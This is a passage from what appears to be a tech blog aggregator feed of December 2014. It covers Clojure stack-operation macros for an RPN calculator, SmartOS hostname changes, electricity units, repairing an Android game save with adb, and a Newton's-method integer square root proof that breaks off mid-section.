The output stack is a sequence of cons cells and the output of this command is stored in a newly allocated cell.
The command has a single point in time at which it begins execution.
The command has a single point in time at which it ends execution.
The execution of this command cannot overlap with other commands that manipulate the stack.

Truth be told, there isn’t a single item on this list that’s essential to the semantics of our addition command. Particularly in the case where a sequence of commands is linked together to make a composite command, every item on that list might be incorrect. This is because the state of the stack between elements of a composite command might not ever be directly visible to the user. Keeping that in mind, what would be nice is some kind of shorthand notation for stack operations that hides these implementation details. This type of notation would make it possible to express the intent of a command without the machinery. Fortunately, the programming language Forth has a stack effect notation often used in comments that might do the trick.

Forth is an interesting and unique language with a heavy dependency on stack manipulation. One of the coding conventions sometimes used in Forth development is that every ‘composite command’ (‘word’, in Forth terminology) is associated with a comment that shows a picture of the stack at the beginning and end of the command’s execution. For addition, such a comment might look like this:

: add ( x y -- x+y ) .... ;
Code found missing language specification while processing file: ksm/rpncalc_10.md

This comment shows that the command takes two arguments off the top of the stack, ‘x’ and ‘x’, and returns a single value ‘x+y’. None of the details regarding how the stack is implemented are included in the comment. The only thing that’s left in the comment are the semantics of the operation. This is more or less perfect for defining a calculator command. Mapped into Clojure code, it might look something like this:

(stack-op [x y] [(+ x y)])

This Clojure form indicates a stack operation and has stack pictures that show the top of the stack both before and after the evaluation of the command. The notation is short, yes, but it’s particularly useful because it doesn’t overspecify the command by including the details of the mechanics. All that’s left in this notation is the intent of the command.

Of course, the mechanics of the command still need to be there for the command to work. The magic of macros in Clojure is that they make it easier to bridge the gap from the notation you want to the mechanism you need. Fortunately, all it takes in this case is a short three line macro that tells Clojure how to reconstitute a function definition from our new stack-op notation:

(defmacro stack-op [ before after ]
  `(fn [ { [ ~@before & more# ] :stack } ]
     { :stack (concat ~after more# ) } ) )

Squint your eyes, and the structure of the original Clojure add command function should be visible within the macro definition. That’s because this macro really serves as a kind of IDE snippet hosted by the compiler, providing blanks to be filled in with the macro parameters. Multiple calls to a macro are like expanding the same snippet multiple times with different parameters. The only difference is that when you expand a snippet within an IDE, it only helps you when you’re entering the code into the editor; the relationship between a block of code in the editor and the snippet from which it came is immediately lost. Macros preserve that relationship, and thanks to Lisp’s syntax, do so in a way that avoids some of the worst issues that plague C macros. This gives us both the more ‘intentional’ notation, as well as the ability to later change the underlying implementation in more profound ways.

Before I close the post, I should mention that there are ways to approach this type of design in other languages. In C, the preprocessor provides access to compile-time macro expansion, and for Java and C#, code generation techniques are well accepted. For JavaScript, any of the higher level languages that compile into JavaScript can be viewed as particularly heavy-weight forms of this technique. Where Lisp and Clojure shine is that they make it easy by building it into the language directly. This post only scratches the surface, but the next post will continue the theme by exploring how we can improve the calculator now that we have a syntax that more accurately expresses our intent.

Screenshot Saturday 203

Evan Todd — Fri, 19 Dec 2014 23:00:00 GMT

Big update this week!

My voxel renderer now has the capability to overlay everything with any texture I want. I'm using it on a new set of interconnected winter levels. This way I don't have to manually come up with a frosty version of each texture.

Without giving away too much, this week I built a new system that has implications for both puzzle solving and movement mechanics.

Changing hostname in SmartOS Zone

Caius Theory — Thu, 18 Dec 2014 12:00:00 GMT

Given a non-global zone in SmartOS that we want to change the hostname of, we need to make sure to edit the following files to change it:

/etc/hosts
/etc/nodename

A quick way to do that is with sed (renaming “fred” to “beth” here):

sed -e 's/fred/beth/g' -i /etc/hosts /etc/nodename

Then shutdown & start the zone (from my testing a restart doesn’t apply it).

QRCodes are the easy way to transfer websites to phone

Erico Notes — Thu, 18 Dec 2014 06:48:32 GMT

At least if you are not in your computer.

If I want to pass a web site from computer to WhatsApp or other text to my phone world, I use this website to generate a Qrcode for it: http://qrcode.kaywa.com/

If the website is to big use a URL shortener to make the Qrcode more readable through your cellphone camera.

Update:

Just found out today that there is a way to make it better...

https://chart.googleapis.com/chart?chs=400x400&cht=qr&source=qrcode&chl=https://www.ericonotes.blogspot.com

modify the end of the url on top, and you can exchange it for any website.

Design Patterns

june.kim — Thu, 18 Dec 2014 02:00:00 GMT

Bumpy

Matt Keeter — Wed, 17 Dec 2014 02:00:00 GMT

Homemade mp3 player

ultimately minimal unit testing

zserge's blog — Tue, 16 Dec 2014 02:00:00 GMT

Most large software projects include automated testing and the reasons are obvious. But what about smaller, even toy projects? There should be some extremely lightweight unit-testing frameworks/libraries that would easily fit even the smallest project needs. Unit testing should be easy to start. Otherwise people won’t bother with writing tests at all (unless they are forced to). People don’t like learning complex frameworks to run just a dozen of tests.

Augmenting Automation on iOS With the Power of Python and Workflow

The David Brownman Blog — Tue, 16 Dec 2014 02:00:00 GMT

undefined

Read the whole thing.

SOCKS Proxy Over SSH: If you have access to SSH, then you have access to run your own proxy server

Joshua Rogers — Mon, 15 Dec 2014 14:00:00 GMT

Back in May we looked at how to setup Access Controls with NGinx. I didn't mention how I test it though. In order to test the different rules, the requests needed to originate from different IP ranges, which in turn meant that I would need to send the requests from different networks. As I find the idea of fidgeting with cables or hotspots to be more than slightly annoying, I opted to tunnel request out of my internal network using a SOCKS proxy.

[12.15.14] The Flying Nimbus Updates: Range and Hub Bearings

transistor-man.com — Mon, 15 Dec 2014 10:38:38 GMT

Enjoy Nimbus MK1? The following details upgrades to the Nimbus project, to increase its load handling capability, range and night-time visibility.

RPN Calc Part 9 – State and Commands in Clojure

Mike Schaeffer — Mon, 15 Dec 2014 02:00:00 GMT

In my last post, I started porting the RPN calculator example from Java to Clojure, moving a functional program into a functional language. In this post, I finish the work and show how the Clojure calculator models both state and calculator commands.

Going back to the last post, the Clojure version of the Read-Eval-Print-Loop (REPL) has the following code.

(defn main []
  (loop [ state (make-initial-state) ]
    (let [command (parse-command-string (read-command-string state))]
      (if-let [new-state (apply-command state command)]
        (recur new-state)
        nil))))

As with the Java REPL, this function continually loops, gathering commands to evaluate, evaluating them against the current state, and printing the state after each command is executed. The REPL function controls the lifecycle of the calculator state from beginning to end, starting by invoking the state constructor function:

(defn make-initial-state []
  {
   :stack ()
   :regs (vec (take 20 (repeat 0)))
   })

Like main, the empty brackets signify that this is a 0-arity function, a function that takes 0 arguments. Looking back at the call site, this is why the name of the function appears by itself within the parenthesis:

(make-initial-state)

If the function required arguments, they’d be to the right of the function name at the call site:

(make-initial-state <arg-0> ... <arg-n>)

This is the way that Lisp like languages represent function and macro call sites. Every function or macro call is syntactically a list delimited by parenthesis. The first element of that list identifies the function or macro being invoked, and the arguments to that function or macro are in the second list position and beyond. This is the rule, and it is essentially universal, even including the syntax used to define functions. In this form, defn is the name of the function definition macro, and it takes the function name, argument list, and body as arguments:

(defn make-initial-state []
  {
   :stack ()
   :regs (vec (take 20 (repeat 0)))
   })

For this function, the body of the function is a single statement, a literal for a two element hash map. In Clojure, whenever run time control flow passes to an object literal, a new instance of that literal is constructed and populated.

{
 :stack ()
 :regs (vec (take 20 (repeat 0)))
 }
 

This one statement is thus the rough equivalent of calling a constructor and then a series of calls to populate the new object. Paraphrasing into faux-Java:

Mapping m = new Mapping();
 
m.put("stack", Sequence.EMPTY);
m.put("regs", vec(take(20, repeat(0)));

Once the state object is constructed, the first thing the REPL has to do is prompt the user for a command. The function to read a new command takes a state as an argument. This is so it can print out the state prior to prompting the user and reading the command string:

(defn read-command-string [ state ]
  (show-state state)
  (print "> ")
  (flush)
  (.readLine *in*))

This code should be fairly understandable, but the last line is worthy of an explicit comment. *in* is a reference to the usual java.lang.System.in, and the leading dot is Clojure syntax for invoking a method on that object. That last line is almost exactly equivalent to this Java code:

System.in.readLine();

There’s more use of Clojure/Java interoperability in the command parser:

(defn parse-command-string [ str ]
  (make-composite-command
   (map parse-single-command (.split (.trim str) "\\s+"))))

The Java-interop part is in this bit here:

(.split (.trim str) "\\s+")

Translating into Java:

str.trim().split("\\s+")

Because str is a java.lang.String, all the usual string methods are available. This makes it easy to use standard Java facilities to trim the leading and trailing white space from a string and then split it into space-delimited tokens. Going back to part 2 of this series, this is the original algorithm I used to handle multiple calculator commands entered at the same prompt.

The rest of parse-command-string also follows the original part-2 design: each token is parsed individually as a command, and the list of all commands is then assembled into a single composite command. The difference is that there’s less notation in the Clojure version, mainly due to the use of the higher-order function map. map applies a function to each element of an input sequence and returns a new sequence containing the results. This one function encapsulates a loop, two variable declarations, a constructor call, and the method call needed to populate the output sequence:

List<Command> subCmds = new LinkedList<Command>();
  
for (String subCmdStr : cmdStr.split("\\s+"))
    subCmds.add(parseSingleCommand(subCmdStr));

What’s nice about this is that eliminating the code eliminates the possibility of making certain kinds of errors. It also makes the code more about the intent of the logic, and less about the mechanism used to achieve that intent. This opens up optimization opportunities like Clojure’s lazy evaluation of mapping functions.

The final bit of new notation I’d like to point out is the way the Clojure version represents commands. Commands in the Clojure version of the calculator are functions on calculator state, represented as Clojure functions:

(fn [ { [x y & more] :stack } ]
    { :stack (cons (+ y x) more)})

This function, the addition command, accepts a state object and uses argument list destructuring to extract out the stack portion of the state. It then assembles a new state object that contains a version of the stack that contains the sum of the top two previous stack elements. Rather than focusing on the machinery used to gather and manipulate stack arguments, Clojure’s notation makes it easier for the code behind the command to match the intent. As before, this helps reduce the chance for errors, and it also opens up new optimization opportunities.

(If you’ve read closely and are wondering what happened to regs, commands in the Clojure version of the calculator can actually return a partial state. If a command doesn’t return a state element, then the previous value for that state element is used in the next state. Because add doesn’t change regs, it doesn’t bother to return it.)

Installing and configuring the Freenas Syncthing-plugin

zufallsheld — Sun, 14 Dec 2014 19:56:30 GMT

Here’s a little how-to on how to use the new syncthing-plugin for your Freenas-server. Syncthing is an opensource file synchronisation client/server application. It’s a great alternative to btsync or Dropbox.

Note: The following text contains passages from my other guide on how to setup Freenas 9.2 …

8 Mile

🦉 olshansky 🦁 — Sun, 14 Dec 2014 19:35:41 GMT

Olshansky's review of 8 Mile

The Paradox of the Bottle

june.kim — Sun, 14 Dec 2014 02:00:00 GMT

Simple 2

Tom Forbes — Sat, 13 Dec 2014 22:56:51 GMT

I’ve just about finished the next version of Simple , the markdown based blog that powers this site. When I first made Simple it was because I disliked WordPress, which seemed a bit too bloated. Then I saw Svbtle and I really liked the minimalist design (mostly the posting interface ) and decided to...

Airspy on Linux

Fabrice Aneche — Sat, 13 Dec 2014 13:55:48 GMT

Airspy is an SDR with amazing specs, but drivers are slowly coming to your prefered os. This apply to Arch but should apply to any recent Linux. I’ve first compiled libairspy but always had the error AIRSPY_ERROR_NOT_FOUND and "usbfs: interface 0 claimed by airspy while 'airspy_info' sets config #1" Since Linux 3.17 comes with an airspy v4l autoloaded driver making impossible to use it with libusb: no airspy_info and no gqrx.

Wreck-It Ralph

🦉 olshansky 🦁 — Sat, 13 Dec 2014 08:50:28 GMT

Olshansky's review of Wreck-It Ralph

2014-12-13

ho.dges.online — Sat, 13 Dec 2014 02:00:00 GMT

Screenshot Saturday 202

Evan Todd — Fri, 12 Dec 2014 23:00:00 GMT

I've come to several realizations this week.

Lemma is going to be good, but not great. I have to accept my limitations and finish the thing to the best of my ability.
Lemma is more of an experience than a traditional video game.

With these two ideas in mind, I am focusing the next few months on making Lemma the least frustrating, most enjoyable experience I can.

So I'm trying to come up with puzzles that seem difficult but are actually simple to solve. The wonderful Monument Valley did a great job of this.

Understanding electricity terminology

Negative Feedback — Fri, 12 Dec 2014 16:11:19 GMT

With the recent bout of load shedding, everyone's been writing about electricity. The problem is that many people get things wrong, or apply conventions which are less useful than they think.

The basics

Electricity is fundamentally about the flow of electrons. You may say that it is also about magnetic fields, but most of the terminology you'll be seeing in the articles about load shedding is about making electrons move. Now, electrons are very small, so it makes sense to count them in big groups rather than individually. In the SI system, the coulomb (C) is defined as exactly 6.241×10¹⁸ electrons. You can think of this as equivalent to something like a truckload of coal. Since every material we work with has many electrons already, just having them is not particularly useful. Electrons can do useful things when they are in motion. When there is a flow of electrons in a conductor, this is referred to as current and measured in ampere (A). 1 A = 1 C/s, although technically the ampere is the base unit and the coulomb is the derived unit in SI, so 1 C = 1 A⋅s . To continue our analogy, if coulomb is like "truckloads", ampere would be "truckloads per day".

Flowing electrons can be harnessed to do work in the same way that a flowing river can be harnessed. The rate at which they can do work is related not only to how fast they are flowing (the current) but also to the potential difference (measured in volts, V) between the end points. In a river, this would be the pressure. Work is measured in joules (J), which is also the unit of energy. The rate at which work is done (also called the power) is measured in watt (W). 1 W = 1 J/s. For a constant current (DC), the power is the product of the current and the potential difference. This means that 1 W = 1 V⋅A. This is approximately true for power supplied by batteries. For a thoroughly mixed metaphorical space, let's say that energy (J) is like a distance and power (W) is like a speed.

It gets a little more complicated if the current is not constant. The kind of electricity Eskom supplies is sinusoidally varying (AC), which means that we need to distinguish the "apparent power" and the "real power". This Wikipedia page is a pretty good resource for this idea. The calculation doesn't change the units in SI, although there are conventions which I will discuss a bit later.

In terms of the load shedding, W is the unit that will be used to talk about the amount of load to be shed. Load in this context is the same as power.

Orders of magnitude

Some of the SI units discussed above are not sized reasonably for everyday use. For instance, a 100 W lightbulb burning for one day will consume 8 640 000 J of energy. For this reason the SI has prefixes for different orders of magnitude. I can choose to express the energy consumed by that lightbulb as 8.64 MJ to save space. It's anyone's guess why the load shedding limits are reported in MW rather than GW. Why say 1000 MW when you could have said 1 GW?

The problem of time

In the discussion above, I have restricted myself to the SI system. The SI unit of time is the second (s), and all the units which reference time are built using the second. Time calculations are tricky, because of the fact that there are 60 seconds in a minute and 60 minutes in an hour. Those factors aren't powers of 10, so they don't fit smoothly into the decimal system that SI uses. This means that in various industries, the quantities discussed above have been measured using different time units. For instance, your electricity bill probably specifies your electricity usage using the "kWh", which is the energy used by a 1 kW device operating for 1 hour. Notice that this is the same dimensional combination as the joule. 1 kWh = 1 kW⋅h and 1 J = 1 W⋅s. In fact, 1 kWh = 3.6 GJ, so there's no real nead for the kWh, even in terms of easy magnitudes. The real difference boils down to the difficulties of manipulating factors of 60.

When measuring the storage capacity of batteries, one will mostly see A⋅h being used rather than the dimensionally-similar C. Smallish batteries like AAs typically have capacity of around 10 kC (meaning that this is the number of electrons they can push around a circuit), but you are more likely to see that reported as 3000 mAh. I believe this is again due to the problems of time calculation, as there shouldn't be much other difference between using A⋅h instead of A⋅s.

The kWh is such a popular unit of energy that it is even used for derived rates. People will report the average energy production of the Jasper solar facility as 180 000 MW-hours annually rather than saying that it will produce 648 TJ per year or produce at a rate of 20.5 MW on average over a year.

Conventions

There are people reading this who will object viscerally to the calculation above, especially if they have been in the electricity industry. There are certain conventions regarding units which are widespread but don't really make much sense from a dimensional point of view. One of them is that electrical energy is measured primarily in the kWh family of units, while the joule is restricted to other forms of energy. They would say that it is not proper to report the energy production of that solar plant in TJ as that sounds more like the energy supplied by fuel.

Similarly, if you refer to the discussion about power calculations for time-varying current, there are people who insist on saying V⋅A is different from W rather than saying apparent power is different from real power and using W for both.

Peaks and averages

The last confusing thing about talking of energy is in being clear about peaks and averages. To continue the car analogy, it is pretty clear when someone says that they will travel 100 km in 1 hour that they will average 100 km/h but that they probably spent some of the time above that speed and may even have hit 160 km/h at some point. Remembering that the distance is like energy and that speed is like power, we can say that the 774 PJ of energy SA used in 2010 according to Wolfram Alpha means that we averaged 24.5 GW for that year. Why do we have a problem if Eskom has around 41 GW of generating capacity? For one thing, not all that capacity is on line at once. Due to various factors Eskom only has about 24 GW of generating capacity on line right now. Of course, the other problem is that peak demand is more than average demand. The load shedding of 4 November 2014 happened on a day where there was 28 GW of demand, leaving Eskom 4 GW short.

While I'm on this topic, let's also explain the somewhat confusing fact that the Jasper solar energy plant I linked to earlier reports "Size: 96 MW-DC installed capacity; 75 MW-AC net generation, Electricity Production: approximately 180,000 MW-hours annually". We translated that last number to 20.5 MW. So what's happening between the 96 MW and the 20 MW? The 96 MW is what the panels will produce when they have 1 MW/m² of solar irradiation. In SA, we have more like 1.2 MW/m², so they'll see more than that at peak production. This is a bit like the maximum speed in the book that came with your car. Often you can get better than that if you run at the coast or use better fuel than they tested with. The 75 MW is pretty clear, that's the amount of AC power they will deliver under the same conditions as the 96 MW was calculated. This includes the use of the station of its own power and conversion losses. Of course, the sun is only available part of the day, and the light is not as strong for the whole day either. There is also maintenance and other stoppages, which cuts the effective rate of production down to the 20 MW number. This final number divided by the "nameplate capacity" of 96 MW is known as the capacity factor, and 20 % is about par for the course for solar.

Wrap-up

So there you have it - this should enable you to decipher the different terms used in articles talking about electrical energy (and perhaps to do some research about that battery backup for your power at home). My last word on the matter is that you should be on the lookout for common misperceptions about units, like that kWh for some reason means kW/h instead of kW⋅h. Hopefully the discussion above will show you why kW/h doesn't make any kind of sense.

Hacking the Ractiv Touch+

Umar Nizamani | RSS Feed — Fri, 12 Dec 2014 12:34:26 GMT

When we at Nerdiacs first saw the kick starter project for Touch+ I was more interested in the hardware for the project then the software…

What Monk means for me

Ben Overmyer's Site — Fri, 12 Dec 2014 02:00:00 GMT

Some people write blog engines because it’s just one of those things that you do as a web developer. It’s a kind of rite of passage; a simple create-read-update-delete interface with a database behind it.

Some people write blog engines because they’re driven to help people share a written word with others. This is a noble endeavor, and a noble sentiment. Matt Mullenweg and the guys behind Ghost have this purpose.

For me, writing a blog engine is much more of a self-centered exercise.

I’m writing the Monk blog engine not because I want to help others, or because I think it’s a good exercise of my coding skills. Granted, I’m not averse to either; if Monk helps people, that’s wonderful. If it expands my coding knowledge, great. But I’m really just in it for one main reason.

I like writing, and I want to write. Publicly, and online. But without a system built by others.

No option, no matter how well built or user-friendly, will ever compare to a blog engine that I build for myself - simply because it’s my own creation, and my own responsibility. I feel a greater ownership of Monk than I have ever felt for anything else in my professional career. It’s mine, for good or ill, for better or worse. It reflects my thinking at this time in my life, and it could be considered something of a journal in code.

That’s not to say that it’s entirely my own, though. Eric Dowell, a friend of mine and a skilled codeslinger, has increasingly aided in its construction. While that might seem at odds with my previous paragraph, consider this - nothing is created in a vacuum, and nothing is built without the input (whether conscious or otherwise) of others. There is no such thing as a totally original work.

Now, with that said, I still feel like Monk is the ultimate expression of my coding skill and opinions at this point in time. Writing a blog should be easy, and fun, and beautiful. A blog should focus on writing for the blogger and reading for the reader. Typography is vitally important. So is the ability to reflect, reconsider, and rework. And also, a blog’s software should make it so that the computer never gets in the way of the craft.

I’m writing a blog engine, and its name is Monk.

Will you write with me?

Trip report: Open Data in Skopje

Welcome to Marco Fioretti's website! on Stop at Zona-M — Thu, 11 Dec 2014 20:10:00 GMT

A couple of weeks ago I was invited at the first National Open Government Partnership Forum in Skopje, Macedonia, for the panel titled “OGP-related Initiatives at the Local Level - Comparative Perspectives”. Here’s a short trip report, complete of link to my slides.

Fixing save file corruption in Ridiculous Fishing

Carey Metcalfe — Thu, 11 Dec 2014 19:44:00 GMT

Ridiculous Fishing is a game by Vlambeer about fishing. That's if you can call chainsawing fish and blowing them out of the sky with a bazooka "fishing".

I've been playing this game on and off for a while now, but just recently I had a problem where my save file somehow got corrupted, making the app refuse to open.

The problem first manifested as the game freezing for up to 5 seconds when navigating around the UI or buying items in the in-game store. Since I was running the game on a Nexus 5 (not the latest and greatest, but pretty close), it seemed weird. The delay got longer and longer until the game eventually crashed and refused to reopen.

Since I was pretty far into the game (I only needed to catch one more species of fish!), I opted to try to fix it instead of just wiping the app's data and starting again. I initially tried clearing the app's cache and reinstalling the app, but the problem persisted.

The next step was to dump the games's data to my computer so I could do some analysis on it. Some exploration on the device revealed that the settings and data were stored in the folder /data/data/com.vlambeer.RidiculousFishing.humble (I have the Humble Bundle version of the app).

To pull that folder to my current directory, I used ADB:

adb root #Restart adbd on the device with root permissions
adb pull /data/data/com.vlambeer.RidiculousFishing.humble/

A quick du -h revealed that something was very wrong in the files/Library/Preferences/com.vlambeer.RidiculousFishing.humble.plist file. It should've been just a text document, but was well over 200MB.

After trying out of habit to open the file in Vim and having it hang (oops), I paged through the document with less. About halfway through the file, there was a line containing &lt;message&gt;@eggbirdTBA Take it to the Smartypants Bar (no, that's not a formatting error, in the plist there's XML data stored in a <string> element, requiring the < and > characters to be escaped) followed by about 200MB of garbage.

Apparently there are ways to load huge files in Vim, as well as other text editors that handle them nicely, but since I already knew what line was causing the issue, a simple sed command would do the trick.

sed '/Take it to the Smartypants Bar/d' com.vlambeer.RidiculousFishing.humble.plist > temp.plist

Total size of temp.plist: 107.11KB. Much better.

After going though and deleting some lines around the one that was removed (to make the XML valid again), I pushed the file back to the device:

adb push temp.plist /data/data/com.vlambeer.RidiculousFishing.humble/files/Library/Preferences/com.vlambeer.RidiculousFishing.humble.plist

Success! The game opened properly, all the freezing issues were gone, and my save data was still there.

Now to find that stupid Mimic Fish...

Reinstalling an Android app without losing data

Carey Metcalfe — Thu, 11 Dec 2014 18:20:00 GMT

When an application isn't opening (and clearing the cache doesn't help) it sometimes helps to reinstall it. However, uninstalling then reinstalling the app normally will delete all the data associated with it.

The way around this is to directly call the package manager from the shell and give it the -k argument, which tells it to keep the data and cache directories.

Simply connect the device to a computer with ADB installed and run:

adb -d shell "pm uninstall -k com.package.name"

Then just reinstall the app (either from an apk file or the Play Store) and the app will be back with all of its data intact.

Claustrophobia and eggicide

Liza Shulyayeva — Thu, 11 Dec 2014 15:01:51 GMT

Yesterday I put in claustrophobia for the snails. Jars have a capacity attribute - a maximum number of snails that they should hold. But just because a jar with a capacity of 20 may not be able to support 25 snails very well doesn’t mean the snails are going to conveniently stop reproducing or hatching (if it is a breeding jar). Instead, they’re just going to get uncomfortable enough to eat their babies.

Plans for Monk for Q1 2015

Ben Overmyer's Site — Thu, 11 Dec 2014 02:00:00 GMT

The end of Q1 2015 should see the first real release of Monk as a publicly-consumable, FOSS product.

The following not-yet-implemented features are on track for that release:

Quick and easy install process
Themes for the public-facing part of the engine
Dashboard with daily metrics
Notifications for when a post or page becomes unusually popular quickly
Ability to queue posts for publication
Connect social media accounts to auto-share links to new posts as soon as they're published, or on a schedule you determine

Obviously, there's a lot of work that needs to happen between now and then.

A post will follow this one on Sunday about why I'm building Monk and why it's more than just a developer's experiment.

Canada Metal Pacific Video

june.kim — Wed, 10 Dec 2014 02:00:00 GMT

Git baffles

Craig Pardey — Wed, 10 Dec 2014 02:00:00 GMT

I’ve been using DVCSs for more than four years and I love them. Both Git and Mercurial are excellent source control tools, each with their strong points and their warts. The biggest difference between the two is the learning curve. I was very comfortable with Mercurial after only a few weeks and the same has held true wherever I’ve introduced it.

It took me about six months to get to the same comfort level with Git. And that was with three years of Mercurial experience under my belt.

Creativity, Inc.: Overcoming the Unseen Forces That Stand in the Way of True Inspiration

🦉 olshansky 🦁 — Wed, 10 Dec 2014 02:00:00 GMT

Olshansky's review of Creativity, Inc.: Overcoming the Unseen Forces That Stand in the Way of True Inspiration by Ed Catmull

Justin Jackson: Host of the Product People Podcast

Sam Solomon — Wed, 10 Dec 2014 02:00:00 GMT

Great products often have great people behind them.

Computing the Integer Square Root

Fred Akalin — Tue, 09 Dec 2014 10:00:00 GMT

1. The algorithm

Today I’m going to talk about a fast algorithm to compute the integer square root of a non-negative integer $n$, $\isqrt(n) = \lfloor \sqrt{n} \rfloor$, or in words, the greatest integer whose square is less than or equal to $n$.^[1] Most sources that describe the algorithm take it for granted that it is correct and fast. This is far from obvious! So I will prove both correctness and speed below.

One simple fact is that $\isqrt(n) \le n/2$, so a straightforward algorithm is just to test every non-negative integer up to $n/2$. This takes $O(n)$ arithmetic operations, which is bad since it’s exponential in the size of the input. That is, letting $\Bits(n)$ be the number of bits required to store $n$ and letting $\lg n$ be the base-$2$ logarithm of $n$, $\Bits(n) = O(\lg n)$, and thus this algorithm takes $O(2^{\Bits(n)})$ arithmetic operations.

We can do better by doing binary search; start with the range $[0, n/2]$ and adjust it based on comparing the square of an integer in the middle of the range to $n$. This takes $O(\lg n) = O(\Bits(n))$ arithmetic operations.

However, the algorithm below is even faster:^[2]

If $n = 0$, return $0$.
Otherwise, set $i$ to $0$ and set $x_0$ to $2^{\lceil \Bits(n) / 2\rceil}$.
Repeat:
1. Set $x_{i+1}$ to $\lfloor (x_i + \lfloor n/x_i \rfloor) / 2 \rfloor$.
2. If $x_{i+1} \ge x_i$, return $x_i$. Otherwise, increment $i$.

Call this algorithm $\NewtonSqrt$, since it’s based on Newton’s method. It’s not obvious, but this algorithm returns $\isqrt(n)$ using only $O(\lg \lg n) = O(\lg(\Bits(n)))$ arithmetic operations, as we will prove below. But first, here’s an implementation of the algorithm in Javascript:^[3]

// isqrt returns the greatest number x such that x^2 <= n. The type of
// n must behave like BigInteger (e.g.,
// https://github.com/akalin/jsbn ), and n must be non-negative.
//
//
// Example (open up the JS console on this page and type):
//
//   isqrt(new BigInteger("64")).toString()
function isqrt(n) {
  var s = n.signum();
  if (s < 0) {
    throw new Error('negative radicand');
  }
  if (s == 0) {
    return n;
  }

  // x = 2^ceil(Bits(n)/2)
  var x = n.constructor.ONE.shiftLeft(Math.ceil(n.bitLength()/2));
  while (true) {
    // y = floor((x + floor(n/x))/2)
    var y = x.add(n.divide(x)).shiftRight(1);
    if (y.compareTo(x) >= 0) {
      return x;
    }
    x = y;
  }
}

2. Correctness

The core of the algorithm is the iteration rule: \[ x_{i+1} = \left\lfloor \frac{x_i + \lfloor \frac{n}{x_i} \rfloor}{2} \right\rfloor \] where the floor functions are there only because we’re using integer division. Define an integer-valued function $f(x)$ for the right side. Using basic properties of the floor function, you can show that you can remove the inner floor: \[ f(x) = \left\lfloor \frac{1}{2} (x + n/x) \right\rfloor \] which makes it a bit easier to analyze. Also, the properties of $f(x)$ are closely related to its equivalent real-valued function: \[ g(x) = \frac{1}{2} (x + n/x)\text{.} \]

For starters, again using basic properties of the floor function, you can show that $f(x) \le g(x)$, and for any integer $m$, $m \le f(x)$ if and only if $m \le g(x)$.

Finally, let’s give a name to our desired output: let $s = \isqrt(n) = \lfloor \sqrt{n} \rfloor$.^[4]

Intuitively, $f(x)$ and $g(x)$ “average out” however far away their input $x$ is from $\sqrt{n}$. Conveniently, this “average” is never an undereestimate:

(Lemma 1.) For $x \gt 0$, $f(x) \ge s$.

Proof. By the basic properties of $f(x)$ and $g(x)$ above, it suffices to show that $g(x) \ge s$. $g'(x) = (1 - n/x^2)/2$ and $g''(x) = n/x^3$. Therefore, $g(x)$ is concave-up for $x \gt 0$; in particular, its single positive extremum at $x = \sqrt{n}$ is a minimum. But $g(\sqrt{n}) = \sqrt{n} \ge s$. ∎

(You can also prove Lemma 1 without calculus; show that $g(x) \ge s$ if and only if $x^2 - 2sx + n \ge 0$, which is true when $s^2 \le n$, which is true by definition.)

Furthermore, our initial estimate is always an overestimate:

(Lemma 2.) $x_0 \gt s$.

Proof. $\Bits(n) = \lfloor \lg n \rfloor + 1 \gt \lg n$. Therefore, \[ \begin{aligned} x_0 &= 2^{\lceil \Bits(n) / 2 \rceil} \\ &\ge 2^{\Bits(n) / 2} \\ &\gt 2^{\lg n / 2} \\ &= \sqrt{n} \\ &\ge s\text{.} \; \blacksquare \end{aligned} \]

(Note that any number greater than $s$, say $n$ or $\lceil n/2 \rceil$, can be chosen for our initial guess without affecting correctness. However, the expression above is necessary to guarantee performance. Another possibility is $2^{\lceil \lceil \lg n \rceil / 2 \rceil}$, which has the advantage that if $n$ is an even power of $2$, then $x_0$ is immediately set to $\sqrt{n}$. However, this is usually not worth the cost of checking that $n$ is a power of $2$, as is required to compute $\lceil \lg n \rceil$.)

An easy consequence of Lemmas 1 and 2 is that the invariant $x_i \ge s$ holds. That lets us prove partial correctness of $\NewtonSqrt$:

(Theorem 1.) If $\NewtonSqrt$ terminates, it returns the value $s$.

Proof. Assume it terminates. If it terminates in step $1$, then we are done. Otherwise, it can only terminate in step $3.2$ where it returns $x_i$ such that $x_{i+1} = f(x_i) \ge x_i$. This implies that $g(x_i) = (x_i + n/x_i) / 2 \ge x_i$. Rearranging yields $n \ge x_i^2$ and combining with our invariant we get $\sqrt{n} \ge x_i \ge s$. But $s + 1 \gt \sqrt{n}$, so that forces $x_i$ to be $s$, and thus $\NewtonSqrt$ returns $s$ if it terminates. ∎

For total correctness we also need to show that $\NewtonSqrt$ terminates. But this is easy:

(Theorem 2.) $\NewtonSqrt$ terminates.

Proof. Assume it doesn’t terminate. Then we have a strictly decreasing infinite sequence of integers $\{ x_0, x_1, \dotsc \}$. But this sequence is bounded below by $s$, so it cannot decrease indefinitely. This is a contradiction, so $\NewtonSqrt$ must terminate. ∎

We are done proving correctness, but you might wonder if the check $x_{i+1} \ge x_i$ in step $3.2$ is necessary. That is, can it be weakened to the check $x_{i+1} = x_i$? The answer is “no”; to see that, let $k = n - s^2$. Since $n \lt (s+1)^2$, $k \lt 2s + 1$. On the other hand, consider the inequality $f(x_i) \gt x_i$. Since that would cause the algorithm to terminate and return $x_i$, that implies that $x_i = s$. Therefore, that inequality is equivalent to $f(s) \gt s$, which is equivalent to $f(s) \ge s + 1$, which is equivalent to $g(s) = (s + n/s) / 2 \ge s + 1$. Rearranging yields $n \ge s^2 + 2s$. Substituting in $n = s^2 + k$, we get $s^2 + k \ge s^2 + 2s$, which is equivalent to $k \ge 2s$. But since $k \lt 2s + 1$, that forces $k$ to equal $2s$. That is the maximum value $k$ can be, so therefore $n$ must be one less than a perfect square. Indeed, for such numbers, weakening the check would cause the algorithm to oscillate between $s$ and $s + 1$. For example, $n = 99$ would yield the sequence $\{ 16, 11, 10, 9, 10, 9, \dotsc \}$.

3. Run-time

We will show that $\NewtonSqrt$ takes $O(\lg \lg n)$ arithmetic operations. Since each loop iteration does only a fixed number of arithmetic operations (with the division of $n$ by $x$ being the most expensive), it suffices to show that our algorithm performs $O(\lg \lg n)$ loop iterations.

It is well known that Newton’s method converges quadratically sufficiently close to a simple root. We can’t actually use this result directly, since it’s not clear that the convergence properties of Newton’s method are preserved when using integer operations, but we can do something similar.

